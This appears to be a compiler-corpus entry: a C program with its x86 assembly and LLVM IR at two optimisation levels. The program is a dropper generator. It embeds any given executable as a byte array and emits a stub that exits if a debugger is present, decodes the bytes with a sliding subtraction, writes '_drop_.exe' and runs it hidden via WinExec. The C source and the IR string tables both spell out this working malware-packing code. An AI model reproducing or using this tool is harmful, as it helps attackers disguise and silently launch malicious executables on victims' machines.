#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int EOF;
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
int fgetc(int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char *, char *);
int /*<<< orphan*/ printf(char *, ...);
int main(int argc, char *argv[]) {
  int ch, len = 0;
  FILE *file = fopen(argv[1], "rb");
  printf("#define WIN32_LEAN_AND_MEAN\n");
  printf("#include <stdio.h>\n");
  printf("#include <windows.h>\n");
  printf("const unsigned char SRC[] = {\n");
  while ((ch = fgetc(file)) != EOF) {
    if (len == 0)
      printf("\t0x%.2X", (unsigned char)ch);
    else if ((len % 12) == 0)
      printf("\n\t,0x%.2X", (unsigned char)ch);
    else
      printf(",0x%.2X", (unsigned char)ch);
    len++;
  }
  printf("\n};\n");
  printf("int main(void) {\n");
  printf(
      "char "
      "ThisPath[256];\nGetModuleFileName(NULL,ThisPath,sizeof(ThisPath));\n");
  printf("FILE *thisfile = fopen(ThisPath,\"rb\");\n");
  printf("if(IsDebuggerPresent()) return 1;\n");
  printf("int i, slide = 0;\n");
  printf("FILE *file = fopen(\"_drop_.exe\",\"wb\");\n");
  printf("for(i=0;i<sizeof(SRC);i++) fputc((unsigned "
         "char)SRC[i]-(++slide),file);\n");
  printf("fclose(file); WinExec(\"_drop_.exe\",SW_HIDE); return 0;\n}\n");
  fclose(file);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x0,-0x18(%rbp)
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
lea    0xe94(%rip),%rsi
call   1060 <fopen@plt>
mov    %rax,-0x20(%rbp)
lea    0xe87(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    0xe96(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    0xe9c(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    0xea4(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
mov    -0x20(%rbp),%rdi
call   1050 <fgetc@plt>
mov    %eax,-0x14(%rbp)
mov    0x2e28(%rip),%rcx
cmp    (%rcx),%eax
je     123f <main+0xff>
cmpl   $0x0,-0x18(%rbp)
jne    11eb <main+0xab>
mov    -0x14(%rbp),%eax
movzbl %al,%esi
lea    0xe8a(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
jmp    1231 <main+0xf1>
mov    -0x18(%rbp),%eax
mov    $0xc,%ecx
cltd
idiv   %ecx
cmp    $0x0,%edx
jne    1218 <main+0xd8>
mov    -0x14(%rbp),%eax
movzbl %al,%esi
lea    0xe65(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
jmp    122c <main+0xec>
mov    -0x14(%rbp),%eax
movzbl %al,%esi
lea    0xe4e(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
jmp    1231 <main+0xf1>
mov    -0x18(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x18(%rbp)
jmp    11ad <main+0x6d>
lea    0xe35(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    0xe2c(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    0xe30(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    0xe6a(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    0xe84(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    0xe99(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    0xe9e(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    0xeb8(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    0xef3(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
mov    -0x20(%rbp),%rdi
call   1030 <fclose@plt>
xor    %eax,%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
push   %rax
mov    0x8(%rsi),%rdi
lea    0xe9a(%rip),%rsi
call   1070 <fopen@plt>
mov    %rax,%r15
lea    0xea0(%rip),%rdi
call   1030 <puts@plt>
lea    0xeb0(%rip),%rdi
call   1030 <puts@plt>
lea    0xeb7(%rip),%rdi
call   1030 <puts@plt>
lea    0xec0(%rip),%rdi
call   1030 <puts@plt>
mov    %r15,%rdi
call   1060 <fgetc@plt>
mov    0x2e3b(%rip),%r14
cmp    (%r14),%eax
je     11d4 <main+0x84>
movzbl %al,%esi
lea    0xe47(%rip),%rdi
xor    %eax,%eax
call   1050 <printf@plt>
mov    %r15,%rdi
call   1060 <fgetc@plt>
cmp    (%r14),%eax
jne    1259 <main+0x109>
lea    0xe9c(%rip),%rdi
call   1030 <puts@plt>
lea    0xe94(%rip),%rdi
call   1030 <puts@plt>
lea    0xe99(%rip),%rdi
call   1030 <puts@plt>
lea    0xed4(%rip),%rdi
call   1030 <puts@plt>
lea    0xeef(%rip),%rdi
call   1030 <puts@plt>
lea    0xf05(%rip),%rdi
call   1030 <puts@plt>
lea    0xf0b(%rip),%rdi
call   1030 <puts@plt>
lea    0xf26(%rip),%rdi
call   1030 <puts@plt>
lea    0xf62(%rip),%rdi
call   1030 <puts@plt>
mov    %r15,%rdi
call   1040 <fclose@plt>
xor    %eax,%eax
add    $0x8,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
mov    $0x1,%ebp
mov    $0xffffffff,%ebx
mov    $0xaaaaaaab,%r12d
lea    0xd9b(%rip),%r13
jmp    12a1 <main+0x151>
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax)
movzbl %al,%esi
xor    %eax,%eax
call   1050 <printf@plt>
add    $0x1,%ebp
mov    %r15,%rdi
call   1060 <fgetc@plt>
add    $0xffffffff,%ebx
cmp    (%r14),%eax
je     11d4 <main+0x84>
mov    %ebp,%ecx
imul   %r12,%rcx
shr    $0x23,%rcx
lea    (%rcx,%rcx,2),%ecx
shl    $0x2,%ecx
mov    %r13,%rdi
add    %ebx,%ecx
je     1280 <main+0x130>
lea    0xd4e(%rip),%rdi
jmp    1280 <main+0x130>

LLVM IR (-O0):
@.str = [3 x i8] c"rb\00"
@.str.1 = [29 x i8] c"#define WIN32_LEAN_AND_MEAN\0A\00"
@.str.2 = [20 x i8] c"#include <stdio.h>\0A\00"
@.str.3 = [22 x i8] c"#include <windows.h>\0A\00"
@.str.4 = [31 x i8] c"const unsigned char SRC[] = {\0A\00"
@EOF = global i32 0
@.str.5 = [8 x i8] c"\090x%.2X\00"
@.str.6 = [10 x i8] c"\0A\09,0x%.2X\00"
@.str.7 = [8 x i8] c",0x%.2X\00"
@.str.8 = [5 x i8] c"\0A};\0A\00"
@.str.9 = [18 x i8] c"int main(void) {\0A\00"
@.str.10 = [72 x i8] c"char ThisPath[256];\0AGetModuleFileName(NULL,ThisPath,sizeof(ThisPath));\0A\00"
@.str.11 = [40 x i8] c"FILE *thisfile = fopen(ThisPath,\22rb\22);\0A\00"
@.str.12 = [35 x i8] c"if(IsDebuggerPresent()) return 1;\0A\00"
@.str.13 = [19 x i8] c"int i, slide = 0;\0A\00"
@.str.14 = [40 x i8] c"FILE *file = fopen(\22_drop_.exe\22,\22wb\22);\0A\00"
@.str.15 = [73 x i8] c"for(i=0;i<sizeof(SRC);i++) fputc((unsigned char)SRC[i]-(++slide),file);\0A\00"
@.str.16 = [58 x i8] c"fclose(file); WinExec(\22_drop_.exe\22,SW_HIDE); return 0;\0A}\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32*
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 0, i32* %7
%9 = load i8**, i8*** %5
%10 = getelementptr inbounds i8*, i8** %9, i64 1
%11 = load i8*, i8** %10
%12 = call i32* @fopen(i8* %11, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0))
store i32* %12, i32** %8
%13 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
%14 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0))
%15 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.3, i64 0, i64 0))
%16 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.4, i64 0, i64 0))
br label %17
17: ; preds = %45, %2
%18 = load i32*, i32** %8
%19 = call i32 @fgetc(i32* %18)
store i32 %19, i32* %6
%20 = load i32, i32* @EOF
%21 = icmp ne i32 %19, %20
br i1 %21, label %22, label %48
22: ; preds = %17
%23 = load i32, i32* %7
%24 = icmp eq i32 %23, 0
br i1 %24, label %25, label %30
25: ; preds = %22
%26 = load i32, i32* %6
%27 = trunc i32 %26 to i8
%28 = zext i8 %27 to i32
%29 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.5, i64 0, i64 0), i32 %28)
br label %45
30: ; preds = %22
%31 = load i32, i32* %7
%32 = srem i32 %31, 12
%33 = icmp eq i32 %32, 0
br i1 %33, label %34, label %39
34: ; preds = %30
%35 = load i32, i32* %6
%36 = trunc i32 %35 to i8
%37 = zext i8 %36 to i32
%38 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.6, i64 0, i64 0), i32 %37)
br label %44
39: ; preds = %30
%40 = load i32, i32* %6
%41 = trunc i32 %40 to i8
%42 = zext i8 %41 to i32
%43 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.7, i64 0, i64 0), i32 %42)
br label %44
44: ; preds = %39, %34
br label %45
45: ; preds = %44, %25
%46 = load i32, i32* %7
%47 = add nsw i32 %46, 1
store i32 %47, i32* %7
br label %17
48: ; preds = %17
%49 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.8, i64 0, i64 0))
%50 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.9, i64 0, i64 0))
%51 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([72 x i8], [72 x i8]* @.str.10, i64 0, i64 0))
%52 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.11, i64 0, i64 0))
%53 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.12, i64 0, i64 0))
%54 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.13, i64 0, i64 0))
%55 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.14, i64 0, i64 0))
%56 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([73 x i8], [73 x i8]* @.str.15, i64 0, i64 0))
%57 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([58 x i8], [58 x i8]* @.str.16, i64 0, i64 0))
%58 = load i32*, i32** %8
%59 = call i32 @fclose(i32* %58)
ret i32 0
}

LLVM IR (-O2):
@.str = [3 x i8] c"rb\00"
@EOF = global i32 0
@.str.5 = [8 x i8] c"\090x%.2X\00"
@.str.6 = [10 x i8] c"\0A\09,0x%.2X\00"
@.str.7 = [8 x i8] c",0x%.2X\00"
@str = [28 x i8] c"#define WIN32_LEAN_AND_MEAN\00"
@str.17 = [19 x i8] c"#include <stdio.h>\00"
@str.18 = [21 x i8] c"#include <windows.h>\00"
@str.19 = [30 x i8] c"const unsigned char SRC[] = {\00"
@str.20 = [4 x i8] c"\0A};\00"
@str.21 = [17 x i8] c"int main(void) {\00"
@str.22 = [71 x i8] c"char ThisPath[256];\0AGetModuleFileName(NULL,ThisPath,sizeof(ThisPath));\00"
@str.23 = [39 x i8] c"FILE *thisfile = fopen(ThisPath,\22rb\22);\00"
@str.24 = [34 x i8] c"if(IsDebuggerPresent()) return 1;\00"
@str.25 = [18 x i8] c"int i, slide = 0;\00"
@str.26 = [39 x i8] c"FILE *file = fopen(\22_drop_.exe\22,\22wb\22);\00"
@str.27 = [72 x i8] c"for(i=0;i<sizeof(SRC);i++) fputc((unsigned char)SRC[i]-(++slide),file);\00"
@str.28 = [57 x i8] c"fclose(file); WinExec(\22_drop_.exe\22,SW_HIDE); return 0;\0A}\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = getelementptr inbounds i8*, i8** %1, i64 1
%4 = load i8*, i8** %3
%5 = tail call i32* @fopen(i8* %4, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0))
%6 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([28 x i8], [28 x i8]* @str, i64 0, i64 0))
%7 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @str.17, i64 0, i64 0))
%8 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str.18, i64 0, i64 0))
%9 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([30 x i8], [30 x i8]* @str.19, i64 0, i64 0))
%10 = tail call i32 @fgetc(i32* %5)
%11 = load i32, i32* @EOF
%12 = icmp eq i32 %10, %11
br i1 %12, label %31, label %13
13: ; preds = %2
%14 = and i32 %10, 255
%15 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([8 x i8], [8 x i8]* @.str.5, i64 0, i64 0), i32 %14)
%16 = tail call i32 @fgetc(i32* %5)
%17 = load i32, i32* @EOF
%18 = icmp eq i32 %16, %17
br i1 %18, label %31, label %19
19: ; preds = %13, %19
%20 = phi i32 [ %28, %19 ], [ %16, %13 ]
%21 = phi i32 [ %27, %19 ], [ 1, %13 ]
%22 = urem i32 %21, 12
%23 = icmp eq i32 %22, 0
%24 = and i32 %20, 255
%25 = select i1 %23, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.7, i64 0, i64 0)
%26 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) %25, i32 %24)
%27 = add nuw nsw i32 %21, 1
%28 = tail call i32 @fgetc(i32* %5)
%29 = load i32, i32* @EOF
%30 = icmp eq i32 %28, %29
br i1 %30, label %31, label %19
31: ; preds = %19, %13, %2
%32 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([4 x i8], [4 x i8]* @str.20, i64 0, i64 0))
%33 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([17 x i8], [17 x i8]* @str.21, i64 0, i64 0))
%34 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([71 x i8], [71 x i8]* @str.22, i64 0, i64 0))
%35 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([39 x i8], [39 x i8]* @str.23, i64 0, i64 0))
%36 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([34 x i8], [34 x i8]* @str.24, i64 0, i64 0))
%37 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([18 x i8], [18 x i8]* @str.25, i64 0, i64 0))
%38 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([39 x i8], [39 x i8]* @str.26, i64 0, i64 0))
%39 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([72 x i8], [72 x i8]* @str.27, i64 0, i64 0))
%40 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([57 x i8], [57 x i8]* @str.28, i64 0, i64 0))
%41 = tail call i32 @fclose(i32* %5)
ret i32 0
}